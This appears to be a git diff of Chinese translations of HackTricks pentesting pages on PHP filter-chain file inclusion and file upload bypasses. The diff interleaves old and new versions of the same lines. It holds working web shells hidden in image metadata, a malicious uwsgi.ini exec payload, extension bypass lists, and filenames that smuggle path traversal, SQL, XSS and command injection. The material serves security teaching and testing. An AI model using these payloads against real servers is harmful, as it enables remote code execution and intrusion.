- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
 | 
			
		||||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
 | 
			
		||||
 | 
			
		||||
@ -5,34 +5,32 @@
 | 
			
		||||
 | 
			
		||||
## 简介
 | 
			
		||||
 | 
			
		||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)解释你可以使用 **php filters to generate arbitrary content** 作为输出。基本上这意味着你可以为 include 生成任意的 **php code**,而无需将其写入文件。
 | 
			
		||||
[**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) 解释了你可以使用 **php filters 来生成任意内容** 作为输出。基本上这意味着你可以为 include **生成任意 php 代码**,而**无需将其写入**文件。
 | 
			
		||||
 | 
			
		||||
脚本的目标是**在文件的开头生成一个 Base64 字符串**,该字符串最终会被**解码**,从而提供希望的负载,该负载将被 `include` **解释执行**。
 | 
			
		||||
实现该脚本目标的基础是:
 | 
			
		||||
 | 
			
		||||
实现这一点的基础是:
 | 
			
		||||
- `convert.iconv.UTF8.CSISO2022KR` 始终会在字符串前面添加 `\x1b$)C`
 | 
			
		||||
- `convert.base64-decode` 非常宽容,它基本上会忽略任何不是有效 base64 的字符。如果遇到意外的 "=" 会产生一些问题,但可以使用 `convert.iconv.UTF8.UTF7` filter 将其移除。
 | 
			
		||||
 | 
			
		||||
- `convert.iconv.UTF8.CSISO2022KR` 总是会在字符串前加上 `\x1b$)C`
 | 
			
		||||
- `convert.base64-decode` 非常容错,它基本上会忽略任何不是有效 base64 的字符。如果遇到意外的 "=" 会有一些问题,但这些可以通过 `convert.iconv.UTF8.UTF7` 过滤器移除。
 | 
			
		||||
生成任意内容的循环步骤是:
 | 
			
		||||
 | 
			
		||||
生成任意内容的循环如下:
 | 
			
		||||
 | 
			
		||||
1. 如上所述,在我们的字符串前添加 `\x1b$)C`
 | 
			
		||||
2. 应用一系列 iconv 转换,使我们最初的 base64 保持不变,并将刚刚添加的部分转换为一个字符串,其中唯一有效的 base64 字符就是我们 base64 编码的 php 代码的下一部分
 | 
			
		||||
1. 如上所述,将 `\x1b$)C` 预置到我们的字符串前面
 | 
			
		||||
2. 应用一系列 iconv 转换,使我们的初始 base64 保持不变,并将刚刚预置的部分转换成某个字符串,使得该字符串中唯一的有效 base64 字符就是我们 base64 编码的下一段 php 代码
 | 
			
		||||
3. 对字符串进行 base64-decode 然后 base64-encode,这会移除中间的任何垃圾字符
 | 
			
		||||
4. 如果我们要构造的 base64 还没完成,则返回第 1 步
 | 
			
		||||
5. base64-decode 来得到我们的 php 代码
 | 
			
		||||
4. 如果我们想构造的 base64 尚未完成,则回到第 1 步
 | 
			
		||||
5. base64-decode 以得到我们的 php 代码
 | 
			
		||||
 | 
			
		||||
> [!WARNING]
 | 
			
		||||
> **Includes** 通常会做诸如**在文件末尾附加 ".php"**之类的操作,这可能会使利用变得困难,因为你需要找到一个 .php 文件,其内容不会破坏该利用……或者你**可以直接使用 `php://temp` 作为资源**,因为它可以**在名称中附加任意内容**(例如 +".php"),并且仍然允许利用生效!
 | 
			
		||||
> **Includes** 通常会做诸如在文件末尾**追加 ".php"**的操作,这可能会使利用变得困难,因为你需要找到一个内容不会破坏 exploit 的 .php 文件……或者你**可以直接使用 `php://temp` 作为 resource**,因为它在名称上**可以附加任意内容**(例如 lie +".php"),仍然可以让 exploit 生效!
 | 
			
		||||
 | 
			
		||||
## 如何向生成的数据添加后缀
 | 
			
		||||
 | 
			
		||||
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) 说明了你如何仍然滥用 PHP filters 来向结果字符串添加后缀。当你需要输出具有特定格式时(例如 json 或添加一些 PNG magic bytes),这非常有用。
 | 
			
		||||
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) 说明了如何继续滥用 PHP filters 向生成的字符串添加后缀。若你需要输出具有特定格式(例如 json,或添加一些 PNG magic bytes),这非常有用。
 | 
			
		||||
 | 
			
		||||
## 自动化工具
 | 
			
		||||
 | 
			
		||||
- https://github.com/synacktiv/php_filter_chain_generator
 | 
			
		||||
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(可以添加后缀)**
 | 
			
		||||
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(可以添加后缀)**
 | 
			
		||||
 | 
			
		||||
## 完整脚本
 | 
			
		||||
```python
 | 
			
		||||
@ -96,7 +94,7 @@ print(r.text)
 | 
			
		||||
```
 | 
			
		||||
### Improvements
 | 
			
		||||
 | 
			
		||||
之前的脚本仅限于该 payload 所需的 base64 字符。因此,我编写了自己的脚本来 **bruteforce 所有 base64 字符**:
 | 
			
		||||
之前的脚本仅限于该 payload 所需的 base64 字符。因此,我创建了自己的脚本来 **bruteforce all the base64 characters**:
 | 
			
		||||
```php
 | 
			
		||||
conversions = {
 | 
			
		||||
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
 | 
			
		||||
@ -165,7 +163,7 @@ conversions = {
 | 
			
		||||
'=': ''
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
下面是用于获取可生成每个 b64 字符的**脚本**:
 | 
			
		||||
下面是用于获取能生成每个 b64 字母的编码的 **script**:
 | 
			
		||||
```php
 | 
			
		||||
<?php
 | 
			
		||||
 | 
			
		||||
@ -251,7 +249,7 @@ find_vals($init);
 | 
			
		||||
}
 | 
			
		||||
?>
 | 
			
		||||
```
 | 
			
		||||
## 更多参考资料
 | 
			
		||||
## 更多参考
 | 
			
		||||
 | 
			
		||||
- [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
 | 
			
		||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
 | 
			
		||||
 | 
			
		||||
@ -2,12 +2,12 @@
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## 文件上传 常规方法
 | 
			
		||||
## 文件上传通用方法
 | 
			
		||||
 | 
			
		||||
其他有用的扩展名:
 | 
			
		||||
 | 
			
		||||
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
 | 
			
		||||
- **在 PHPv8 中工作**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
 | 
			
		||||
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, .phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
 | 
			
		||||
- **Working in PHPv8**: _.php_, _.php4_, .php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
 | 
			
		||||
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
 | 
			
		||||
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
 | 
			
		||||
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
 | 
			
		||||
@ -17,11 +17,11 @@
 | 
			
		||||
 | 
			
		||||
### 绕过文件扩展名检查
 | 
			
		||||
 | 
			
		||||
1. 如果适用,**检查**之前列出的**扩展名**。也要用一些**大小写混合**来测试它们: _pHp, .pHP5, .PhAr ..._
 | 
			
		||||
2. _尝试在执行扩展之前添加一个有效扩展(也可使用前面提到的扩展):_
 | 
			
		||||
1. 如果适用,**检查**前面的**扩展名**。也用一些**大写字母**测试它们:_pHp, .pHP5, .PhAr ..._
 | 
			
		||||
2. _测试**在可执行扩展之前添加一个合法扩展**(也可以使用前面列出的扩展):_
 | 
			
		||||
- _file.png.php_
 | 
			
		||||
- _file.png.Php5_
 | 
			
		||||
3. 尝试在结尾添加**特殊字符**。可以使用 Burp 去**暴力测试**所有的 **ascii** 和 **Unicode** 字符。(_注意:你也可以尝试使用之前提到的那些**扩展名**_) 
 | 
			
		||||
3. 尝试在末尾添加**特殊字符**。你可以用 Burp 对所有 **ascii** 和 **Unicode** 字符进行**暴力测试**。(_注意你也可以尝试使用**之前**提到的**扩展名**_)  
 | 
			
		||||
- _file.php%20_
 | 
			
		||||
- _file.php%0a_
 | 
			
		||||
- _file.php%00_
 | 
			
		||||
@ -31,7 +31,7 @@
 | 
			
		||||
- _file._
 | 
			
		||||
- _file.php...._
 | 
			
		||||
- _file.pHp5...._
 | 
			
		||||
4. 尝试通过**欺骗服务器端的扩展名解析器**来绕过防护,例如**双写扩展**或在扩展之间**添加垃圾数据(null 字节)**。_你也可以使用之前列出的扩展名来构造更好的 payload。_
 | 
			
		||||
4. 试图通过**欺骗服务器端的扩展解析器**来绕过防护,使用例如**双重**扩展或在扩展之间加入**垃圾数据**(**null** 字节)的技术。_你也可以使用**之前的扩展**来准备更好的 payload。_
 | 
			
		||||
- _file.png.php_
 | 
			
		||||
- _file.png.pHp5_
 | 
			
		||||
- _file.php#.png_
 | 
			
		||||
@ -40,13 +40,13 @@
 | 
			
		||||
- _file.php%0a.png_
 | 
			
		||||
- _file.php%0d%0a.png_
 | 
			
		||||
- _file.phpJunk123png_
 | 
			
		||||
5. 为前面的检查**再添加一层扩展**:
 | 
			
		||||
5. 在前面的检查中**再添加一层扩展**:
 | 
			
		||||
- _file.png.jpg.php_
 | 
			
		||||
- _file.php%00.png%00.jpg_
 | 
			
		||||
6. 尝试把**可执行扩展放在有效扩展之前**并希望服务器配置错误。 (useful to exploit Apache misconfigurations where anything with extension** _**.php**_**, but** not necessarily ending in .php** will execute code):
 | 
			
		||||
6. 尝试把**可执行扩展放在合法扩展之前**,希望服务器配置错误(在 Apache 的误配置中很有用:任何带有扩展**.php** 的文件,不一定以 .php 结尾,也可能执行代码):
 | 
			
		||||
- _ex: file.php.png_
 | 
			
		||||
7. 在 **Windows** 上使用 **NTFS alternate data stream (ADS)**。在这种情况下,会在被禁止的扩展之后和允许的扩展之前插入一个冒号字符 ":"。结果会在服务器上创建一个带有被禁止扩展的**空文件**(例如 "file.asax:.jpg")。随后可能通过短文件名等技术对该文件进行编辑。模式 "**::$data**” 也可以用来创建非空文件。因此,在该模式后添加一个点字符也可能有助于绕过进一步的限制(例如 "file.asp::$data.")
 | 
			
		||||
8. 尝试突破文件名长度限制。有效扩展被截断,恶意的 PHP 得以保留。 AAA<--SNIP-->AAA.php
 | 
			
		||||
7. 在 **Windows** 中使用 **NTFS alternate data stream (ADS)**。在这种情况下,会在被禁止的扩展之后、允许的扩展之前插入一个冒号 “:”。结果是在服务器上创建一个**带有被禁止扩展但为空的文件**(例如 "file.asax:.jpg")。后来可能通过其他技术编辑此文件,例如使用其短文件名。模式 "**::$data**" 也可以用来创建非空文件。因此,在该模式后加一个点字符也可能有助于绕过更多限制(例如 "file.asp::$data.")
 | 
			
		||||
8. 试图突破文件名长度限制。合法扩展被截断,而恶意的 PHP 留下。AAA<--SNIP-->AAA.php
 | 
			
		||||
 | 
			
		||||
```
 | 
			
		||||
# Linux maximum 255 bytes
 | 
			
		||||
@ -59,56 +59,56 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 | 
			
		||||
AAA<--SNIP 232 A-->AAA.php.png
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
### 绕过 Content-Type、Magic Number、压缩与缩放
 | 
			
		||||
### 绕过 Content-Type、magic number、压缩与缩放
 | 
			
		||||
 | 
			
		||||
- 通过将请求头的 **Content-Type** 值设置为: _image/png_ , _text/plain , application/octet-stream_ 来绕过 **Content-Type** 检查。
 | 
			
		||||
1. Content-Type **字典**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
 | 
			
		||||
- 通过在文件开头添加一个真实图片的**字节**(混淆 `file` 命令)来绕过 **magic number** 检查。或者将 web shell 放入图片的**元数据**中:\
 | 
			
		||||
- 通过将 **Content-Type** header 的 **value** 设置为:_image/png_ , _text/plain , application/octet-stream_ 来绕过 **Content-Type** 检查
 | 
			
		||||
1. Content-Type **词表**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
 | 
			
		||||
- 通过在文件开头添加一个真实图片的**字节**(混淆 `file` 命令)来绕过 **magic number** 检查。或者把 shell 放到图片的 **metadata** 中:\
 | 
			
		||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
 | 
			
		||||
`\` 或者你也可以**直接把 payload 写入图片**:\
 | 
			
		||||
`\` 或者你也可以**直接把 payload 插入到图片**:\
 | 
			
		||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
 | 
			
		||||
- 如果你的图片在上传后会被压缩(例如使用一些标准的 PHP 库如 [PHP-GD](https://www.php.net/manual/fr/book.image.php)),上面的技术可能不起作用。然而,你可以使用 **PLTE chunk** [**此处定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 将一些文本插入进去,从而**在压缩后仍能存活**。
 | 
			
		||||
- 如果 **对你的图片进行了压缩**(例如使用 PHP 的一些标准库如 PHP-GD),上面的技术可能不奏效。不过,你可以使用 **PLTE chunk** [**这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入能**在压缩后依然存活**的文本。
 | 
			
		||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
 | 
			
		||||
- 页面也可能在处理时对图片进行**缩放**,例如使用 PHP-GD 的 `imagecopyresized` 或 `imagecopyresampled`。不过你可以使用 **IDAT chunk** [**此处定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 插入一些文本,从而**在压缩/缩放后仍能存活**。
 | 
			
		||||
- 页面也可能会**调整图片尺寸**,例如使用 PHP-GD 的 `imagecopyresized` 或 `imagecopyresampled`。不过,你可以使用 **IDAT chunk** [**这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入能**在压缩后依然存活**的文本。
 | 
			
		||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
 | 
			
		||||
- 另一个让 payload **在图片缩小后仍能存活** 的技术,针对 PHP-GD 的 `thumbnailImage`。你可以使用 **tEXt chunk** [**此处定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入文本,从而**在压缩/缩放后仍能存活**。
 | 
			
		||||
- 另一种让 payload **在图片缩放后仍能存活** 的技术,适用于使用 PHP-GD 的 `thumbnailImage`。你也可以使用 **tEXt chunk** [**这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入能**在压缩后依然存活**的文本。
 | 
			
		||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
 | 
			
		||||
 | 
			
		||||
### 其他需要检查的技巧
 | 
			
		||||
### 其他可检测的技巧
 | 
			
		||||
 | 
			
		||||
- 寻找可以**重命名(rename)**已上传文件的漏洞(以改变扩展名)。
 | 
			
		||||
- 寻找 **Local File Inclusion** 漏洞以执行后门。
 | 
			
		||||
- 找到一个可以**重命名**已上传文件(以更改扩展名)的漏洞。
 | 
			
		||||
- 找到一个 **Local File Inclusion** 漏洞来执行后门。
 | 
			
		||||
- **可能的信息泄露**:
 | 
			
		||||
1. 多次(并且同时)上传**相同名字**的**同一个文件**
 | 
			
		||||
2. 上传一个名称与已有**文件**或**目录**相同的文件
 | 
			
		||||
3. 上传名为 `"."`, `".."`, 或 `"…"` 的文件。例如,在 Windows 的 Apache 中,如果应用将上传文件保存到 "/www/uploads/" 目录,名为 "." 的文件会在 "/www/" 目录下创建一个名为 "uploads" 的文件。
 | 
			
		||||
4. 上传一个在 NTFS 中不易删除的文件,例如 **"…:.jpg"**。(Windows)
 | 
			
		||||
5. 在 Windows 中上传带有非法字符(如 `|<>*?”`)的文件名。(Windows)
 | 
			
		||||
6. 在 Windows 中使用保留(禁止)名称上传文件,例如 CON、PRN、AUX、NUL、COM1 … COM9、LPT1 … LPT9。
 | 
			
		||||
- 也可以尝试上传一个可执行文件(.exe)或一个 .html(更不显眼),以便当受害者意外打开时执行代码。
 | 
			
		||||
1. 同时**多次上传**(且在**同一时间**)**相同名字**的**同一文件**
 | 
			
		||||
2. 上传一个与已存在的**文件**或**文件夹**同名的文件
 | 
			
		||||
3. 上传名为 **"."、".." 或 "..."** 的文件。例如,在 Windows 上的 Apache,如果应用把上传文件保存到 "/www/uploads/" 目录,名为 "." 的文件会在 "/www/" 目录下创建一个名为 "uploads" 的文件。
 | 
			
		||||
4. 上传一个可能无法轻易删除的文件,比如在 **NTFS** 中的 **"...:.jpg"**。(Windows)
 | 
			
		||||
5. 在 **Windows** 中上传文件名包含无效字符的文件,例如 `|<>*?”`。(Windows)
 | 
			
		||||
6. 在 **Windows** 中使用保留(**禁止**)名称上传文件,例如 CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9。
 | 
			
		||||
- 也尝试上传一个可执行文件(.exe)或一个看起来不那么可疑的 **.html** 文件,这些在被受害者意外打开时可能会执行代码。
 | 
			
		||||
 | 
			
		||||
### 特殊扩展技巧
 | 
			
		||||
### 特殊扩展名技巧
 | 
			
		||||
 | 
			
		||||
如果你试图向 **PHP server** 上传文件,查看 **.htaccess** 的技巧以执行代码:[https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
 | 
			
		||||
如果你试图向 **ASP server** 上传文件,查看使用 **.config** 文件执行代码的技巧:../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files
 | 
			
		||||
如果你尝试向 **PHP server** 上传文件,请查看 [**.htaccess** 技巧以执行代码](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution)。\
 | 
			
		||||
如果你尝试向 **ASP server** 上传文件,请查看 [**.config** 技巧以执行代码](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
 | 
			
		||||
 | 
			
		||||
`.phar` 文件类似于 Java 的 `.jar`,但用于 php,可以**像 php 文件一样被使用**(通过 php 执行,或包含到脚本中...)
 | 
			
		||||
`.phar` 文件类似于 Java 的 `.jar`,但用于 php,可以**像 php 文件一样使用**(用 php 执行,或在脚本中 include 它……)
 | 
			
		||||
 | 
			
		||||
`.inc` 扩展有时用于仅用于**导入(include)**的 php 文件,因此有时可能被允许**执行**。
 | 
			
		||||
`.inc` 扩展有时用于只用于**导入文件**的 php 文件,因此在某些情况下一些人可能允许**此扩展被执行**。
 | 
			
		||||
 | 
			
		||||
## **Jetty RCE**
 | 
			
		||||
 | 
			
		||||
如果你能向 Jetty server 上传一个 XML 文件,你可以获得 [RCE,因为新的 \*.xml 和 \*.war 会被自动处理](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** 如下图所示,将 XML 文件上传到 `$JETTY_BASE/webapps/` 并期待 shell!
 | 
			
		||||
如果你能向 Jetty server 上传 XML 文件,你可以获得 [RCE 因为 **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** 所以,如下图所示,将 XML 文件上传到 `$JETTY_BASE/webapps/` 并期待 shell!
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
## **uWSGI RCE**
 | 
			
		||||
 | 
			
		||||
对于该漏洞的详细研究请参阅原始研究: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。
 | 
			
		||||
有关此漏洞的详细探讨,请查看原始研究: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。
 | 
			
		||||
 | 
			
		||||
如果可以修改 `.ini` 配置文件,uWSGI server 上可能会发生远程命令执行(RCE)。uWSGI 配置文件使用特定语法来包含“magic”变量、占位符和操作符。值得注意的是,'@' 操作符(以 `@(filename)` 形式使用)用于包含文件内容。在 uWSGI 支持的多种 scheme 中,"exec" scheme 非常强大,它允许从进程的标准输出读取数据。当 `.ini` 配置文件被处理时,该特性可能被滥用以实现 Remote Command Execution 或 Arbitrary File Write/Read。
 | 
			
		||||
如果能够修改 `.ini` 配置文件,uWSGI 服务器可能会被利用以实现远程命令执行 (RCE)。uWSGI 配置文件使用特定语法来包含“magic”变量、占位符和运算符。值得注意的是,`@` 运算符以 `@(filename)` 的形式用于包含文件内容。在 uWSGI 支持的多种 scheme 中,"exec" scheme 尤其强大,它允许从进程的标准输出读取数据。当 `.ini` 配置文件被处理时,这个特性可以被用于远程命令执行或任意文件写入/读取等恶意用途。
 | 
			
		||||
 | 
			
		||||
考虑下面这个有害的 `uwsgi.ini` 文件示例:
 | 
			
		||||
考虑下面这个有害的 `uwsgi.ini` 示例,展示了多种 scheme:
 | 
			
		||||
```ini
 | 
			
		||||
[uwsgi]
 | 
			
		||||
; read from a symbol
 | 
			
		||||
@ -128,19 +128,15 @@ characters = @(call://uwsgi_func)
 | 
			
		||||
```
 | 
			
		||||
The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes.
 | 
			
		||||
 | 
			
		||||
payload 的执行发生在配置文件被解析期间。要使配置被激活并解析,uWSGI 进程必须被重启(可能是在崩溃之后或由于 Denial of Service attack),或者该文件必须设置为 auto-reload。如果启用了 auto-reload 功能,检测到更改后会在指定的时间间隔重新加载该文件。
 | 
			
		||||
在解析配置文件期间会执行 payload。要使配置生效并被解析,uWSGI 进程必须要么重启(可能在崩溃后或由于 Denial of Service attack),要么将该文件设置为 auto-reload。如果启用了 auto-reload 功能,检测到更改后会在指定间隔重新加载该文件。
 | 
			
		||||
 | 
			
		||||
It's crucial to understand the lax nature of uWSGI's configuration file parsing. Specifically, the discussed payload can be inserted into a binary file (such as an image or PDF), further broadening the scope of potential exploitation.
 | 
			
		||||
 | 
			
		||||
理解 uWSGI 对配置文件解析的宽松特性至关重要。具体来说,上述 payload 可以被插入到二进制文件中(例如 image 或 PDF),从而进一步扩大潜在利用的范围。
 | 
			
		||||
理解 uWSGI 的配置文件解析的宽松性至关重要。具体来说,上述 payload 可以插入到二进制文件(例如图像或 PDF)中,进一步扩大了潜在利用的范围。
 | 
			
		||||
 | 
			
		||||
## **wget 文件上传/SSRF 技巧**
 | 
			
		||||
## **wget File Upload/SSRF Trick**
 | 
			
		||||
 | 
			
		||||
In some occasions you may find that a server is using **`wget`** to **download files** and you can **indicate** the **URL**. In these cases, the code may be checking that the extension of the downloaded files is inside a whitelist to assure that only allowed files are going to be downloaded. However, **this check can be bypassed.**\
 | 
			
		||||
The **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **download a file called "A"\*232+".php"+".gif"**, this filename will **bypass** the **check** (as in this example **".gif"** is a **valid** extension) but `wget` will **rename** the file to **"A"\*232+".php"**.
 | 
			
		||||
 | 
			
		||||
在某些情况下,你可能会发现服务器使用 **`wget`** 来 **下载文件**,并且你可以指明 **URL**。在这些情况下,代码可能会检查被下载文件的扩展名是否在白名单内,以确保只会下载允许的文件。然而,**该检查可以被绕过。**\
 | 
			
		||||
在 **linux** 中,**文件名** 的最大长度是 **255**,然而,**wget** 会将文件名截断为 **236** 个字符。你可以 **download a file called "A"\*232+".php"+".gif"**,这个文件名将会 **绕过** 该 **检查**(在此例中 **".gif"** 是一个 **有效** 的扩展),但 `wget` 会 **重命名** 该文件为 **"A"\*232+".php"**。
 | 
			
		||||
在某些情况下,你可能会发现服务器使用 **`wget`** 来 **download files** 并且你可以 **indicate** the **URL**。在这些情形中,代码可能会检查被下载文件的扩展名是否在白名单内,以确保只下载被允许的文件。然而,**this check can be bypassed.**\ 在 **linux** 中 **filename** 的 **maximum** 长度是 **255**,但 **wget** 会将文件名截断为 **236** 个字符。你可以 **download a file called "A"\*232+".php"+".gif"**,这个文件名将 **bypass** 该 **check**(在本例中 **".gif"** 是一个 **valid** 扩展),但 `wget` 会 **rename** 该文件为 **"A"\*232+".php"**。
 | 
			
		||||
```bash
 | 
			
		||||
#Create file and HTTP server
 | 
			
		||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
 | 
			
		||||
@ -163,35 +159,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
 | 
			
		||||
 | 
			
		||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
 | 
			
		||||
```
 | 
			
		||||
注意,**另一个选项**(你可能在想的)绕过此检查的方法是让 **HTTP server 重定向到不同的文件**,这样初始 URL 会绕过检查,然后 wget 会下载被重定向后的新名字文件。除非使用了参数 `--trust-server-names`,否则这**不会起作用**,因为 **wget 会使用原始 URL 中指示的文件名来下载被重定向的页面**。
 | 
			
		||||
注意,**另一个选项**(你可能会想到的绕过此检查的方法)是让 **HTTP 服务器重定向到不同的文件**,这样初始 URL 会绕过检查,然后 wget 会下载重定向后的文件并使用新名字。除非 wget 正在使用 **参数** `--trust-server-names`,否则这 **不会奏效**,因为 **wget 会以原始 URL 指示的文件名下载被重定向的页面**。
 | 
			
		||||
 | 
			
		||||
## Tools
 | 
			
		||||
## 工具
 | 
			
		||||
 | 
			
		||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) 是一个强大的工具,旨在帮助 Pentesters 和 Bug Hunters 测试 file upload mechanisms。它利用多种 bug bounty 技巧来简化识别和利用漏洞的过程,确保对 web applications 进行全面评估。
 | 
			
		||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) 是一个强大的工具,旨在帮助 Pentesters 和 Bug Hunters 测试文件上传机制。它利用各种 bug bounty 技术来简化识别和利用漏洞的过程,确保对 web applications 的彻底评估。
 | 
			
		||||
 | 
			
		||||
### Corrupting upload indices with snprintf quirks (historical)
 | 
			
		||||
### 使用 snprintf 特性破坏上传索引(历史)
 | 
			
		||||
 | 
			
		||||
一些使用 `snprintf()` 或类似函数从单文件上传构建多文件数组的遗留 upload handlers,可能会被欺骗以伪造 `_FILES` 结构。由于 `snprintf()` 行为的不一致性和截断,精心构造的单次上传可能在服务器端表现为多个索引文件,从而混淆假定严格形状(例如当作多文件上传并进入不安全分支)的逻辑。虽然今天这种情况较为冷门,但这种“索引损坏”模式偶尔会在 CTFs 和较旧的代码库中再次出现。
 | 
			
		||||
一些遗留的 upload handlers 使用 `snprintf()` 或类似函数从单文件上传构建多文件数组,这类处理器可以被欺骗从而伪造 `_FILES` 结构。由于 `snprintf()` 行为的不一致性和截断问题,精心构造的单次上传在服务器端可能看起来像多个带索引的文件,从而混淆假定严格结构的逻辑(例如,将其视为多文件上传并走上不安全的分支)。尽管如今较为小众,这种“index corruption”模式偶尔会在 CTF 和老旧代码库中复现。
 | 
			
		||||
 | 
			
		||||
## From File upload to other vulnerabilities
 | 
			
		||||
## 从文件上传到其他漏洞
 | 
			
		||||
 | 
			
		||||
- 将 **filename** 设置为 `../../../tmp/lol.png` 并尝试实现 **path traversal**
 | 
			
		||||
- 将 **filename** 设置为 `sleep(10)-- -.jpg`,你可能能够实现 **SQL injection**
 | 
			
		||||
- 将 **filename** 设置为 `<svg onload=alert(document.domain)>` 以实现 **XSS**
 | 
			
		||||
- 将 **filename** 设置为 `; sleep 10;` 来测试一些 **command injection**(更多 [command injections tricks here](../command-injection.md))
 | 
			
		||||
- 将 **filename** 设置为 `<svg onload=alert(document.domain)>` 来触发 **XSS**
 | 
			
		||||
- 将 **filename** 设置为 `; sleep 10;` 来测试一些 command injection(更多 [command injections tricks here](../command-injection.md))
 | 
			
		||||
